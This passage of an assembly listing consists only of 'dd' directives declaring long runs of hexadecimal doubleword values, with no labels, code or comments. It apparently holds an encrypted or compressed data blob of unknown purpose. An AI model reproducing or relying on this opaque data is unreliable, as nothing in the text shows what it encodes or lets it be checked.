7BF47963h, 25B01C0Ch dd 0DE49AFFCh, 0F979C615h, 5F3EE085h, 9A101EE8h, 0C1BB02EEh dd 0F83D660Fh, 315A173Eh, 1181FAC3h, 5101A37Ch, 287DDD56h dd 41680AC2h, 0BA402D2Dh, 90630172h, 0AECE31C6h, 0F029465Bh dd 0DE4F0927h, 5B8B1FECh, 0CDCEB760h, 62694412h, 6F2ECD01h dd 0E13F674Fh, 0B4443C41h, 302D2000h, 74404E6Eh, 0B9D2B5E9h dd 0E1A4C14Ch, 5F30CB89h, 0EFC9D318h, 6569E58Eh, 0AA2084C3h dd 555E42h, 4F6857B7h, 304B2538h, 0BF84F4E4h, 0C5BDFEF0h dd 0A2E188F8h, 77005612h, 261642FAh, 0F0914E58h, 0CF4A5D9Bh dd 929F71A3h, 5DE34948h, 27904h, 81D7DEB8h, 251FBCCCh dd 39E996E0h, 2DFEE64Eh, 6CB7F9D5h, 5CBD0212h, 0DF62853Bh dd 0A0F50220h, 0B72C53FDh, 75AF5D52h, 0FE6638A5h, 0AF4CF3E2h dd 0FC45A50Fh, 0ECA3AF3Dh, 0AB856D98h, 525CA461h, 8988322Fh dd 0ADEEE3A0h, 4E604B28h, 397AF80Ch, 117CB74Ch, 0CD00820h dd 19255814h, 594E2E7h, 0E867E53Eh, 12B52573h, 40BC43A8h dd 4D29EF0Bh, 0C1007D46h, 505A66ECh, 12C1B353h, 0D888D1F3h dd 9DA69760h, 0E3803B66h, 0AC81AB75h, 947F8DD9h, 0F501EB8Bh dd 0B9B692Bh, 5F6AAD20h, 6FBDB011h, 64E92013h, 0FC6625C3h dd 0F6A8A83h, 8029F30Ah, 0A50F0949h, 8EE005C0h, 0B04E96E9h dd 11082035h, 3CF425F2h, 0E7B80227h, 64DD5C96h, 6616D21Dh dd 4A2625Dh, 17A0928Dh, 5548BF5Eh, 0D77D6C7h, 0F6E86E5Bh dd 0FE42112Dh, 0FDE99B74h, 0BB94F416h, 6290FD69h, 27CEB8D2h dd 0FFDE49FBh, 8754DAECh dd 270BBDA4h, 2F63C03Fh, 0F8D5AEEAh, 365B51Ah, 80F2B050h dd 5CE9ECEDh, 5522A2h, 613F528Eh, 0FBF5750h, 6F0D28C5h dd 6790F7A1h, 2540F668h, 5A2460EDh, 0C202423Eh, 4A4CE334h dd 0A0E45F61h, 1250B60Ah, 0EE00D123h, 0E9BD62A0h, 0FCB15E77h dd 0D682E480h, 80660480h, 0FD88F380h, 0D44BDDF6h, 0C142D691h dd 7D010105h, 87E0143Ch, 721C5A90h, 577043Bh, 5EFB5FC0h dd 7404ADDh, 0A28EEE69h, 52EA3EE8h, 77B3005Dh, 0B8723751h dd 40D03879h, 0F3D8A0FAh, 0B4E59865h, 0DABA0140h, 70669D47h dd 0F995EA58h, 8EE4441h, 17461334h, 218EE0CCh, 792DFB5Bh dd 2DB4A82Bh, 0D565E2A6h, 0CDE27845h, 83D27DDDh, 2D2B5313h dd 6F0B66EAh, 0D4D0E917h, 68C738BBh, 0DD0FA926h, 1AC4CA6Dh dd 0BCFFBA2Dh, 38B6806h, 3327E90Dh, 582D40D3h, 84255B9Dh dd 0E474A868h, 0B5D2433Ah, 0F24700FEh, 23AA293Ch, 375A81B8h dd 0E2E715B8h, 0D102CC91h, 3C66D5E2h, 0CFEFF205h, 0D7800C15h dd 419C2585h, 9910464h, 96825A08h, 0C4571C07h, 30792577h dd 0DEEB24FEh, 9CF52DEBh, 0B714BC4Fh, 0DC280C1Bh, 4AA7271Dh dd 0A3A1724Ch, 985C9DE7h, 0A5A41413h, 0F1EA07C6h, 4F210512h dd 457C18BFh, 1B120AE5h, 1F0833F4h, 4891331h, 14834406h dd 9F2314D5h, 79EB2F95h, 6F5B4988h, 1A68C307h, 0B2B89C4Ah dd 40E253BAh, 254AA384h, 99686AEFh, 5424172Ah, 2068930h dd 20367B1Eh, 0BB04A737h, 2E49218Fh, 43140BFEh, 6FD97780h dd 0A7BD08DAh, 0CDB23DDCh, 0B8E0F556h, 0FF30676Ch, 0BA521E26h dd 0EF1F134Fh, 361E013Bh, 2C0EFECFh, 0D49773B4h, 3F2D50FFh dd 28D25304h, 3F84D829h, 5BE90802h, 0E12BD6ECh, 2A749E68h dd 4FBF228Ch, 8135ED63h, 36DD7D6Ah, 0D4D256F8h, 79110842h dd 258049EAh, 0BFC14061h, 5E2E0009h, 0EEF8164h, 0E84F7BA9h dd 0EA3A13BEh, 125FC48Ah, 0CFCFFF8Ah, 0A3C8F94Fh, 19B64468h dd 37320ABFh, 2AAC0A7Fh, 87661CC4h, 0D468C4D7h, 57A4EB22h dd 6F403FBDh, 0E4EF319Fh, 50026309h, 0DC52E12h, 5DF887C5h dd 216E02F2h, 0E8D1661Ch, 254340DDh, 0D05356B2h, 0FD08BDBBh dd 7CF23282h, 68F560E9h, 4AFE6810h, 2C968F64h, 6801135Eh dd 11676F2Ah, 5891C03Eh, 61E5E70Eh, 0FF1FE87Fh, 0F54F4228h dd 0CD6D081Dh, 0F7ED84FEh, 2AC15613h, 7C66D1A4h, 0B52D5B40h dd 72D52Eh, 0B71D2A6Eh, 0A02FE912h, 4C61D6FEh, 0C3BF0206h dd 939FA1Ah, 630A07F4h, 5560BE2Fh, 3F7B4C68h, 671261D2h dd 0B4A9F8D3h, 4B2633C1h, 0E23EFC4Dh, 0C605926Fh, 37AF5D1Fh dd 0ACD48455h, 0A2AFF58Fh, 0A553C4F1h, 0F1038710h, 29BA1097h dd 3F765DE2h, 0A313AC1h, 0C4850A2Eh, 685B85BCh, 82F5D54Bh dd 0BE004E78h, 0C4931B69h, 0AA7E5C4h, 64895A58h, 0F7105D9Dh dd 0AC256E8Ch, 8937E09h, 0B90949D8h, 0C100C28Fh, 2055519h dd 3762E6FCh, 0DFC1DE80h, 0C51632FEh, 0BCEDCD29h, 321269Eh dd 1BB45A4Ch, 0C9FFE9D9h, 4AC53EF2h, 0E90738BAh, 98A43637h dd 0C2D82863h, 8422F5D3h, 0BE61D989h, 9AA052Dh, 0FD7923E8h dd 7FF1C580h, 4B01619Fh, 32ED98FDh, 0E6313E2Ch, 7DA6850Bh dd 4D5D6B19h, 53D76044h, 0F0609CA0h, 80288982h, 171380B4h dd 9520980Bh, 0D1DDF242h, 0C3DB62D0h, 6CFB4CA9h, 0BA6EE984h dd 579C8B0Ch, 0A29F6390h, 619EC25Ah, 0A57E5BEAh, 0E9080169h dd 2609DF1Eh, 551C5721h, 0FDA8B6CEh, 2601B850h, 0E93A237Eh dd 0C00087A1h, 6F008EAh, 54B74570h, 4ECE4D9h, 8BEAA927h dd 89985EA4h, 5689B8C8h, 5D3424C9h, 7791EB89h, 0D781D0A7h dd 0D83BCCE6h, 108F212Fh, 0C33B99Eh, 0BE6D6401h, 996B609Ah dd 0F683D06Ah, 0CAB82540h, 49CCE4EDh, 0DA61F030h, 5B96F466h dd 5AF7FC26h, 3D8C50EFh, 49A0C5C4h, 634AEAh, 3857E4AEh dd 3D18C267h, 0FBD4DF7Ch, 1C340848h, 78E91402h, 89CD90FAh dd 18342D1Ah, 5803A489h, 1E28DF0Eh, 0C45EEB51h, 0E9C243F6h dd 0EA748FAEh, 0CC11D582h, 8922F975h, 307F54FDh, 9B0CA78Ch dd 36792788h, 4EA9EF13h, 0E9F70103h, 8A3FDAA5h, 0AFF5025Ch dd 0C26F8607h, 0FC34DD09h, 0D7D5BE00h, 8BE943CFh, 4920CA7Fh dd 9BDF02B3h, 0BD5A057h, 876DE1BDh, 841AB37Ah, 0AF169B3Fh dd 77DA6A09h, 0D44EEA98h, 438E97DFh, 572D1C36h, 7E28F914h dd 0FD6B7D01h, 5842FE06h, 8D402AE9h, 0F0F97D29h, 121713FAh dd 0BE140D53h, 27EAF56Ah, 0FD445A47h, 5E0EBA43h, 8D2B68C5h dd 4E9BF887h, 38D6DBB5h, 52751931h, 0B9F250E3h, 2A0B60F0h dd 82D9F75Eh, 8201C182h, 0DFC9444Eh, 965FDD12h, 558026A0h dd 6E506D0Ch, 0BA6352B0h, 40B681B0h, 5C2846DDh, 0E351E713h dd 0A6F55B34h, 526E49F5h, 5F5406FCh, 0C6FA296Eh, 54E45113h dd 88950EAh, 4403CF40h, 79FDD3Dh, 1A077CFDh, 24D0D86Bh dd 8F76EBB6h, 0C8C769F2h, 24CA606Fh, 4560F36Ch, 7622C418h dd 10B90571h, 0FB066F09h, 0DD05A695h, 0C8B8BDE9h, 45F3502Dh dd 0EDAFE961h, 0D5F66C80h, 0E668EA86h, 55F3364Bh, 0DD50E82Dh dd 0E977F306h, 1249421Bh, 1F4A01EAh, 2C3CC1C8h, 20D331DFh dd 0A940E1A0h, 4DF07721h, 0C109511Ah, 735406EEh, 6E99C681h dd 74283B07h, 4D83116h, 0A3602DA1h, 0E83252Dh, 169116E8h dd 0F93F99CBh, 29708B6Bh, 2C53DE57h, 7FC9006Ch, 2057E78h dd 150E3112h, 59266EE2h, 2DE71FE3h, 4E8BE1D9h, 8179449Dh dd 4F285CD4h, 0C9D0301Dh, 0AC7AA759h, 0D10D1D09h, 5D7AB277h dd 178990D1h, 2D894B98h, 0EEF85F24h, 0C02E4F01h, 5BDF211Eh dd 485FC06Bh, 624EAE7Fh, 0CA0218F9h, 299416D1h, 0B7BA1D00h dd 0D588BDEDh, 57123BFFh, 0EFBBC37Ch, 0D3096E10h, 0BA82AA4Ah dd 1192A939h, 162E06C4h, 799DAF08h, 162B9CF9h, 7A3DAEF4h dd 5C093524h, 0DB2AE6C2h, 0C156BFBEh, 31F03A39h, 515608C6h dd 65C4EB20h, 0FA298F1Dh, 2AAA0716h, 16609D3h, 747940EBh dd 41D3980Eh, 0D52B20B9h, 5BB6204Fh, 2015D411h, 4BC6A30Ch dd 3C6DFB12h, 0B47DB87Fh, 0AED325EDh, 578E1C44h, 307B912h dd 0B9F0F188h, 0BCF5F731h, 20130EAFh, 84A1FC97h, 0BDD82D49h dd 4A36B20Ah, 52DE947h, 0ACC6A5FEh, 0D2415681h, 0EAA40005h dd 0D7E6F905h, 0F1D32927h, 3CE26B78h, 6EA9B57h, 0F2552DDCh dd 70EA0C32h, 198620h, 2AA4659Dh, 0DAE9DE31h, 0F273BC5Eh dd 71EBF258h, 7468846Ch, 2131BF08h, 68531869h, 616FE35Dh dd 0CEE9A108h, 31F835F3h, 4A2C22C6h, 97F69EFh, 0AA9A5406h dd 0E9C3D9A2h, 0A4BA830h, 0C97CF6CDh, 673C1E15h, 0E10D0B92h dd 6EA72D11h, 787EFBA3h, 88219307h, 3C905519h, 84145F25h dd 12886813h, 98105FB3h, 0B5B01769h, 5AB981AFh, 28742080h dd 0A2A18E9Dh, 754EAD68h, 3D402D1Ah, 772AE9D3h, 68043B37h dd 39F82DA1h, 0E7805BFDh, 2E195628h, 0DD16E913h, 5FC2A3A9h dd 0BCC2E3D1h, 0F6218B5Fh, 4CF7D278h, 0EB535EECh, 8F7F4329h dd 80345FAAh, 5CCB9CEBh, 4C4A687Eh, 834C96F6h, 0C3A11E25h dd 20EE81CEh, 3D7D48B4h, 0A1E7EF27h, 8F5A55CEh, 6ED23088h dd 9C1E5A3Ch, 20AD324Bh, 0F694B05Eh, 34F2C2D0h, 33FF88F4h dd 88E3EA2Fh, 0DA01D4B9h, 3BB3535Bh, 55920271h, 1EF0EE51h dd 89592549h, 0BB616B0Eh, 892EDB69h, 10624780h, 83ABE31Bh dd 0E7CA2602h, 406E5D56h, 2647DCCEh, 2C96743h, 600A78AAh dd 0F1FF78C2h, 7AFAAA54h dd 9DCBACBFh, 3A2C802h, 55CC1A7Fh, 0D9246459h, 31FA7613h dd 2B21F371h, 6FE92AD8h, 0F1E5432Eh, 0BB0F533Bh, 2752508Ch dd 5078E9h, 589DF9BFh, 5D81FA91h, 14D1813Fh, 3CA27FF0h dd 60BF9240h, 0DCC6416Ch, 83B8481Bh, 4D452A09h, 0EE805526h dd 3DC455E1h, 0CDE94F09h, 6ADE912Bh, 9C29166Fh, 0C9415530h dd 0C24B216Eh, 0D91D8BE4h, 6CC62995h, 4E75B067h, 8286D41Ch dd 0E40CF4C2h, 13615C3Bh, 87A0E46Eh, 0BBE91B68h, 5ECA859Fh dd 16DFAEF8h, 0EE7B52E8h, 5D9FAFD0h, 0B0094F3Bh, 0B027E4DCh dd 0E11F197h, 0FC377CE9h, 8468C25Ch, 24804625h, 2B05D54h dd 4EAB1E6Ch, 2D42FFB2h, 66AAF940h, 2DFCF89Fh, 0ACCE922Fh dd 0C1375C95h, 0EC6A031Ch, 0E970DA29h, 0BD1AAC60h, 0FDA43339h dd 1473743Ch, 0BB951D0h, 30E4E84Bh, 3D9E145Ah, 0AABB074h dd 4D33BAE1h, 680C0CF8h, 0FE48F165h, 6025322Bh, 38B5A6Ah dd 69C071D7h, 0A5EAE2D1h, 51971250h, 21BBC4DBh, 42AC28F7h dd 0F2923B6Ch, 5F79B341h, 2568FCB4h, 0FBF10447h, 0F817D582h dd 25C7D628h, 41E54A50h, 254AE90Bh, 2A102148h, 975596D8h dd 3B5109D6h, 0FE4DBE34h, 3EBB7AF5h, 0BE1336B1h, 0AB4020B2h dd 103BC420h, 0A6F6804Eh, 177BCC7h, 6C0498F2h, 2D1CCB97h dd 41C2C81Eh, 5D86DFCBh, 18D60032h, 0C267762Dh, 1015490h dd 4B6057DEh, 0BFF19EECh, 13595086h, 0ED090C02h, 6A6F5539h dd 0A6080F12h, 94617CDEh, 0C3FC2748h, 4F4500ACh, 0EEE132E4h dd 92859FB2h, 8287655Bh, 475F96FBh, 90BD0370h, 7A260956h dd 68868006h, 0E03B4FC7h, 6B53B637h, 25625C00h, 64B84FDDh dd 3CC4DEB0h, 0A2AC070Eh, 0F62B54C9h, 0FFC29EC5h, 26B7A93h dd 143B2B7Fh, 9974D9F7h, 75E4F182h, 0EA89822Dh, 0FB8A0B89h dd 63F203D8h, 906956FDh, 0FC080204h, 0D77B0BDBh, 44FD4309h dd 7D68187Fh, 0ABB51B64h, 0F76924B9h, 83FC8C42h, 27E5F408h dd 4EA3A7Dh, 31AF699Eh, 68D76A33h, 8A02D639h, 46179368h dd 9577950h, 153C630Bh, 0F19B2E90h, 40904AB7h, 25897054h dd 0EA57640Eh, 0DFA9848Dh, 0AE4A82ACh, 4720A8DDh, 0C1326329h dd 0D72C7EF9h, 60098EEEh, 0B1B250BBh, 0AA8AB5D0h, 0EFA01E17h dd 8FBBD22Ah, 305C1F03h, 65665D65h, 77A5B42Ah, 4D8AD1F1h dd 28C21987h, 86704944h, 3B2FFEE9h, 0D0AAD186h, 95590A5h dd 729C276Fh, 0E3B57D00h, 29065624h, 0C3F5E9CFh, 5E687B51h dd 63268C30h, 3A115C00h, 40E5BE56h, 0F7521CCCh, 4ED68CDEh dd 0A2AE90Ah, 3590ED96h, 0A12F45A6h, 0A8626892h, 652A092Ch dd 16F4FE89h, 1EABD10Ch, 29D2972Dh, 0E3B86FF9h, 0BE1DAC30h dd 0D7312C62h, 0CF0D326Ch, 6882D178h, 796C208Eh, 0C92EFA09h dd 24A2F812h, 3BF50657h, 5701AA4Bh, 74E16BBBh, 6F07897Eh dd 82A42DE8h, 0D17DD769h, 0BD5560E4h, 39017F2Ah, 0B365B90Ah dd 66781C91h, 0D400A45Ah, 0A205F45h, 4B35FC56h, 9688E987h dd 4BAAD5BEh, 9001DFB4h, 411601A1h, 2AB1ACDCh, 0BB970EA2h dd 490DF662h, 0F44254B3h, 0E6EB23DCh, 89BA68B8h, 565A9Fh dd 25156F94h, 0FF204A2Dh, 7D141C5Ah, 0EA570605h, 703ABD66h dd 37DC26B0h, 4B1B10D5h, 0A7AC5AC4h, 0E4502137h, 5880D18Fh dd 74B02A53h, 0C917171Fh, 612CE032h, 1ACA790Eh, 1CBBAEE9h dd 26F5E727h, 94DD2F18h, 36B0A056h, 9D9B7379h, 88186DAh dd 50B22E5Dh, 27AAE982h, 0DB09044Ch, 6B7347h, 0CC3DA25Ah dd 0CF58900Ch, 8D62B4ACh, 436029CDh, 5E819910h, 3116F676h dd 2D2ECAC6h, 0CCA85C56h, 96BA2D7Dh, 6C38B900h, 0CA294E25h dd 87D9559h, 0BA340B09h, 92DE6F91h, 0F2805800h, 31EC355Ch dd 5FFAC103h, 6AD471h, 2DD0F73Ch, 83274A0Eh, 3554E026h dd 1F561602h, 3213BF64h, 985297A0h, 17E75A37h, 0E9E744Fh dd 0EAB3FDDBh, 0B4AEF61h, 240FE05h, 3337612Eh, 59CE2709h dd 4E288EF8h, 6801F251h, 63C278F0h, 0B3E77E9h, 0CB715CD2h dd 0A3BA8B3Ah, 0ACCD02ADh, 93465F5Ah, 5FB620F2h, 75A26804h dd 8E51B1A2h, 77237E21h, 0D466BF4Fh, 62FB9717h, 7DA715C2h dd 0DEE3AB18h, 0F031A1C4h, 4D30E8D9h, 0B2DCBAAh, 5925EC14h dd 3CB55931h, 1F6D1710h, 0E6A85A51h, 7D3C900Bh, 0AF28097Ah dd 0E396412Ah, 2820782Fh, 0F49AD25Ah, 50EC0147h, 0AB2031B0h dd 0D88927EEh, 0E9240E1Eh, 689F4663h, 0E7A36912h, 0CE9EBD00h dd 0BFE9F9DAh, 50C69459h, 3A3A0FEDh, 52FFCB47h, 0C9060A5Ah dd 9C0269F5h, 9455F71Eh, 41DF4DB1h, 0BED75C4Ch, 663C3718h dd 68F10EF7h, 0AE124223h, 5206FD8Eh, 47BD3DE9h, 0DC603AECh dd 4BC8BB0Ch, 2F797A7Dh, 8F4DD68h, 114464EFh, 426A89FAh dd 7ADD97E1h, 5B809A82h, 0F6BFBC58h, 0CE3E306Ch, 55C0BD26h dd 61176727h, 0F36C855Fh, 0D81BB01Dh, 874F59EFh, 0D1F7CF00h dd 595F5157h, 9F5CB047h, 0E205DC52h, 71B37B55h, 41458DAFh dd 2FA36E50h, 94D09DB8h, 0D934A121h, 20A7F304h, 998F31ABh dd 4BB33FC8h, 1FE9688Eh, 0E94EB07Dh, 0BA3E40E8h, 0E4363F17h dd 4AD2C204h, 16073588h, 0B4C48708h, 5800F1EEh, 89197577h dd 4E8AE9CDh, 7EB28EE0h, 0F590574Fh, 2F534BEDh, 4DDC4423h dd 8E9E08A0h, 5C07E958h, 0BDEF3BDh, 9CF5902Fh, 985E5017h dd 773B4F8Eh, 9421B4ACh, 1933C036h, 3A7ED48Ch, 30BF01ECh dd 0A4F11072h, 0C3704A37h, 0D2F14382h, 7D3C628Ah, 20D7CA25h dd 2126C3CFh, 5F662498h, 0F1BD1221h, 92F36B8Eh, 41DBE9C2h dd 50B02BD7h, 0C9ABBC2Dh, 3560E2F1h, 9E2F654Ah, 39ECCBE1h dd 814AE02h, 40EED169h, 28203EDCh, 7B42874h, 2B71059Dh dd 0FC5DE521h, 25170230h, 0CB41E97Ah, 52340723h, 0B768271Ch dd 86D28932h, 1EC1E6C0h, 9F583401h, 277ED09h, 0A7AD54A1h dd 5372508Ch, 0FA0102D1h, 755AC976h, 51408871h, 47EC2B9h dd 89E96FB8h, 4CEAED02h, 4DD23A47h, 1E8710DFh, 0C21F49DFh dd 8049B85Dh, 0F68901E2h, 53CAFED2h, 0A4DDE2B7h, 4FBA4F5Eh dd 9E1E86B8h, 0B5F7C91Eh, 13D63304h, 0EF4228E1h, 94637A1Ah dd 66A200ADh, 0A56846ABh, 20E95F40h, 5BF5622h, 6AF0C56Ch dd 8BCB5028h, 0C31A954Ah, 2AC83191h, 0FEE916BFh, 6CEE0DC5h dd 7A41C202h, 0C0B6E2F2h, 9F59CDACh, 0AF7BD166h, 8180E55Bh dd 303FB450h, 0F406CC80h, 0E9FC28DEh, 0C8380627h, 81E0AFECh dd 0B4A27A58h, 9F47E9C2h, 53B8F3F2h, 11848BBDh, 852AED38h dd 0E87CB544h, 0DBF780F3h, 0D408B6E9h, 0FD5C2914h, 0DF874AD4h dd 30EED7A4h, 0F3BB5365h, 7CBC7F12h, 80112B00h, 0BD018343h dd 475552BAh, 0D4E904A6h, 5109E9D7h, 3CF43F64h, 5FF85C29h dd 72B77960h, 5817C728h, 0DCB2F930h, 16C1E4C4h, 1DF0CC00h dd 7D314E56h, 59EE25D7h, 0BFC49A3h, 0ACFB3113h, 0C87F8497h dd 0D8300001h, 6B886866h, 6B9CA6B8h, 6658C18Fh, 273F3B0Ch dd 0A9E8A42Bh, 2137A95h, 191E5553h, 17E4C741h, 0FD2E788Ch dd 0DF4E7468h, 1CC7F22Ch, 67216D09h, 8BE18FAh, 2A77BC8Ch dd 0B069EC80h, 3A5F20C6h, 0C4F83124h, 463BEE07h, 0FC42435h dd 0C5002F75h, 1446580Bh, 0EE300ABDh, 9EE10A7h, 0D8B5613h dd 54A625Fh, 73835908h, 0C1DB01B4h, 0C0FAEA5Ch, 5E552029h dd 351E4CBh, 85A62FD5h, 5B2BCBBFh, 1B1226B2h, 553DFA58h dd 0E9B49C2Ah, 31705A2Fh, 0A4CA03FFh, 0A4E25420h, 0D557914h dd 45106493h, 0FCDDE932h dd 5F24E18h, 0C33DFE96h, 0A76AC3E5h, 0C0C3C50Fh, 3A872DFAh dd 47A43F30h, 68440A90h, 69CA4DB3h, 492F1177h, 3C78B9C7h dd 151E23Eh, 66A8C981h, 808034F2h, 236E860Ah, 774E52E9h dd 71F8FE39h, 6FB39C51h, 3F8D7C01h, 28C7FCBEh, 6220F5B8h dd 0EA6827C0h, 0F681D0F8h, 22D07B24h, 4A8D1BC8h, 7D8A423h dd 0CF091FB0h, 6FAF1Ah, 9467EF25h, 0F3C89F41h, 6681244Ch dd 253E1D3Eh, 4AEC4858h, 1352A7Bh, 4AA0E74h, 176FE8F7h dd 91682080h, 0ED7EE111h, 0E12CD8BCh, 102D809Bh, 3C0B0F13h dd 791C3301h, 57654689h, 0E3C3442Fh, 0A06802B8h, 60ADDE75h dd 138F5A22h, 4B58E9A0h, 19DBF72Eh, 2C745303h, 0CE0C0417h dd 3607E0Eh, 1D554E03h, 0DC1BC618h, 8855E772h, 5B16085Eh dd 25DDC2A9h, 7B816DFh, 28F57502h, 2FCFA52h, 17A504B3h dd 0F74142FDh, 0BEF25AA4h, 5A58632Ch, 0C43DB25Ah, 25982B64h dd 8877405Eh, 0D9DEE2DCh, 72963889h, 4D170C15h, 24DE4695h dd 425D7214h, 23AA37C5h, 0CC213060h, 0CB0112B8h, 0C9A36759h dd 847A57Fh, 0F06E04BAh, 44BB357Eh, 939F620h, 6544D75Ch dd 0AA954F20h, 83DF0F25h, 0F22DAD99h, 0F7B4C8C6h, 0B42FC41Ch dd 0CFBE1689h, 27B54C29h, 39165DFDh, 0EB4EC4FCh, 5C9621FAh dd 281E6030h, 0D3CFF358h, 2FCA28EFh, 6B202941h, 503D07BDh dd 194D5FB9h, 0AFC7EC00h, 1BFA046h, 0B5D5E96Bh, 289A387Fh dd 5A2CD803h, 8474E168h, 0B585A2FFh, 0A98A85B4h, 0D83831EBh dd 9239910h, 1A712068h, 0D916552Ah, 12D45E27h, 2713D078h dd 0DC1C9723h, 22F38102h, 0E035DA60h, 803AB81Fh, 8827D3F6h dd 0C619FDDDh, 35C23B50h, 1DD07240h, 307E9768h, 0A0B05091h dd 58C2880Eh, 5BE9222Ch, 0AF918E9Fh, 99EF93CBh, 80BC3A8Eh dd 3062E9CDh, 3FE13EB4h, 43A1F9ACh, 0FE680098h, 1A42F5Ch dd 8BFABE41h, 7049E90Fh, 90B904ABh, 0C02E8E57h, 871965A0h dd 4CF6FEF1h, 25084A08h, 0C75F99D7h, 4BE9CE05h, 677A4DEAh dd 3A5C35C9h, 48A5C93Ch, 62D48D0Ah, 7A2BFF5Eh, 9EA9E90Ch dd 2DBFC51Dh, 507B0C74h, 0D510D380h, 0FBA3B8Fh, 46E85A0Ah dd 954BAFC0h, 53A88057h, 2D80F6B7h, 7750ABE7h, 284AC709h dd 0F4E8F7F8h, 0B5D1E9h, 7790BBEDh, 5644016Eh, 6A65AFBEh dd 64AF4037h, 2091762h, 0DA46DEF7h, 13F67E05h, 0EC946FA7h dd 0D80273B2h, 0A06CE12Dh, 34D6573Eh, 0EC79C35Ah, 0EA9B34D0h dd 5F71448Eh, 9F392FE9h, 45765140h, 0B41D5BD2h, 754BA49Ch dd 48A2C78Ch, 0E9B11945h, 0B93A34CCh, 0FD494D05h, 55910973h dd 80000CECh, 0D89F1EF1h, 90E17343h, 4ACF2F70h, 68E02FBBh dd 33AB6589h, 0F27757CAh, 0C62C2FEFh, 4581FDEh, 2CC6A11Fh dd 75C880D2h, 90B45051h, 8EFE58B7h, 76580118h, 0D495A720h dd 0D417428Ah, 16F28100h, 6DF12450h, 0ABEE0058h, 0C229AD88h dd 97157CB7h, 0DF2C0404h, 10A0B33Ah, 0B307DA59h, 2CF380A5h dd 70BD2206h, 0BF0F2704h, 9FE0A20h, 45712C99h, 0F25A3BFAh dd 261370AAh, 764C132Dh, 1B2F04DEh, 0A5A80B55h, 6E0A0B7Ch dd 8553604h, 122C07A3h, 0BE614A00h, 7F18131h, 22196995h dd 881B84E9h, 0A61EE881h, 7DC9E57Eh, 1286ECFCh, 0F35AA468h dd 160A22E5h, 51E8305Bh, 17DFBA10h, 68BD60C3h, 0B19454D5h dd 8D7E3A60h, 0DAE91B6Eh, 0CAD01AA3h, 54519851h, 1640B4C6h dd 9682A3FAh, 0E9A898EAh, 0BA8BFA32h, 8DE5DD5Eh, 8CEE5C17h dd 0CB5468F8h, 0C409F7AFh, 0FD8C79B1h, 43A5950Fh, 65552139h dd 2020CD35h, 1F0B06C4h, 0C229641Ch, 7908095Ah, 0BF5742C2h dd 4C5C6BF7h, 214A145Ah, 62D9C123h, 310B1EC5h, 0DBA54D26h dd 58C60BBFh, 305F6DB2h, 80BD4D75h, 101FBBBh, 0DE29051Fh dd 0B26A895Bh, 25C74800h, 53B67E36h, 80A093E2h, 0AC30F0EEh dd 95E0385Ah, 173C927Fh, 1E21B2BDh, 0E1D493C0h, 0ADA06E4Bh dd 291012CAh, 893C1F72h, 0EE57A121h, 92DE2DA6h, 0BAB4AE6Eh dd 7AB9838Bh, 9EEE0CC8h, 0A6AA476Dh, 77B59A40h, 0F6505F39h dd 0B0791330h, 0F68F90EFh, 8E9A8643h, 0C258909h, 0A0765E62h dd 141CD008h, 0EE588365h, 0E90B06E7h, 0DBD662A8h, 58B6F273h dd 96BF0413h, 0FB2E6AB1h, 0DAF7D402h, 0F5DD614Ah, 0C52D9680h dd 89E61EC2h, 3916E09Fh, 5EDE97F6h, 0D4689C83h, 6AB5E23Fh dd 6874559Ch, 886C281Ch, 2B2C3808h, 0B5729A3h, 4AD66D13h dd 8773197h, 59F0F3FEh, 80D59559h, 5B6DA6DCh, 98FAAC76h dd 0CF86385Ah, 0D2A3E25Bh, 0CFEAE4BBh, 7F8BB55Ah, 0DECC5325h dd 69BAE970h, 0D15ABA9Dh, 0FD64A1Bh, 162F0D11h, 0D15F586h dd 679717B0h, 0AFAEBECFh, 0AB7FA5EDh, 9F60DA7Eh, 1188D882h dd 6052E856h, 0C99A2C2Dh, 0F7DE403Ah, 9B47039Fh, 0EEF45668h dd 0AC0F4EFCh, 0A044D830h, 30D9CD46h, 48544933h, 0B5045109h dd 2E09E991h, 7E838EAFh, 17AC8220h, 0FE20762Dh, 5D07605h dd 0D2E90705h, 0D21FE253h, 22705E03h, 5F902573h, 6FD361C9h dd 0E13BCAC9h, 3B0148A8h, 0B68C040h, 60225C8Bh, 9E2D100h dd 774EC315h, 9BF998Ch, 67D810D6h, 3AF66F80h, 0CC10577h dd 7A9BF5D3h, 3FA1C76Ah, 0B6AB813h, 0F5330F70h, 661CB80h dd 0EFEC444Ch, 0EB1C630Bh, 2C155821h, 0ACA843EAh, 53F801ACh dd 6EC08AB3h, 4B3A60B0h, 0B0F3E4BBh, 3C75C713h, 0F3FA13EFh dd 92544A86h, 752E697Ah, 4700EFABh, 0D509053Fh, 7D24EAB0h dd 68856AB8h, 0C73439A7h, 0CBE9180h, 0F24B4FB6h, 65AB5B34h dd 0CBF3FB1Ch, 1E6851C3h, 2C56CBE5h, 86CC2A59h, 618E4199h dd 0CB4ACA78h, 0BF13CCD7h, 1A20864Eh, 34619783h, 9331FD3Fh dd 4DC842DAh, 0F8C117B5h, 8C9CF0AFh, 0DA3D4C5Bh, 2102848Bh dd 0E3800272h, 5A19E4E6h, 61222B9h, 0C92F2489h, 4EC34475h dd 1379BD30h, 0E88C233Ch, 7D6E12C6h, 0A102AE34h, 56F613DCh dd 14AA01F0h, 20317227h, 0B94F8543h, 58ADFB61h, 0D4136C76h dd 7FE2C999h, 0B1B2C1C7h, 4024FC10h, 9749DF2Dh, 90051600h dd 6803B066h, 8D515EEAh, 4906F809h, 26CABAF5h, 0F74B66C4h dd 966CE6E0h, 0EA91FE9Fh, 80302F2Dh, 0B980C978h, 5E2B0295h dd 5BD93139h, 7A2927E1h, 9AC5824Eh, 0D536103h, 4242313Ah dd 0F1D7C2BCh, 138A819h, 11907163h, 5862BC68h, 7910CAA8h dd 0F30273A7h, 400E4F14h, 2D8DE455h, 546044E9h, 68EE122Ch dd 1B0D39FFh, 0A47B6602h, 0E7814294h, 0A86281F9h, 0A53136C5h dd 0ABC0F748h, 33587E4Fh, 73B7791Ch, 37B6BD19h, 8D0C96A9h dd 0C11D35Bh, 0E16133C2h, 3A81C318h, 0E2DFEA36h, 48605DD5h dd 0CB25E941h, 0C949D44Fh, 3905C9F6h, 0D6E85F51h, 0B5E2912Ah dd 5F7FFE14h, 6F9BFB2Eh, 167CED9Eh, 22278615h, 628F74E1h dd 9135C431h, 0D749F73Bh, 3EFDC28Dh, 808C53D6h, 0B93DB42Dh dd 0C54A0102h, 5D482CABh, 0F42C7869h, 6AA9596Fh, 4E03AF1Fh dd 0A32CF828h, 0AB45BB5Bh, 0EFD0CB91h, 77277E4Fh, 63B16518h dd 